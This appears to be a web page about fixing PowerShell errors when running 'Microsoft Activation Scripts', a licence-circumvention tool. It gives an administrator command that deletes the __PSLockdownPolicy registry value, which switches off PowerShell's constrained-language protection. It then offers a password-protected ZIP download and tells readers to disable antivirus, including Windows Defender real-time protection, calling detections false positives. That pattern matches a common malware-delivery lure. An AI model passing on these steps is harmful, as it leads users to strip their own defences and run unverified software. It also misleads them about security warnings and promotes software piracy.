Fix PowerShell

Experiencing issues with PowerShell when running your Microsoft Activation Scripts (MAS)? This guide provides straightforward solutions to common PowerShell errors. We'll help you diagnose and fix problems that prevent your scripts from executing correctly, ensuring a smooth activation process.

Scripts may show an error related to PowerShell not working.


ConstrainedLanguage

  • If the script is showing ConstrainedLanguage in error output then open Command Prompt as administrator and enter:
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v "__PSLockdownPolicy" /f
  • Retry the script, the error should be fixed.

Other Errors

Please connect with us here.

Download Microsoft Activation Scripts

Get the latest MAS package. File: MAS-fix-powershell.zip

Download ZIP
Password:WYqejXiqBi97

If the download or the script doesn't work, please temporarily disable your antivirus (including Windows Defender real-time protection) and try again. Activation tools are commonly flagged as false positives.

Microsoft Activation Scripts — Open source on GitHub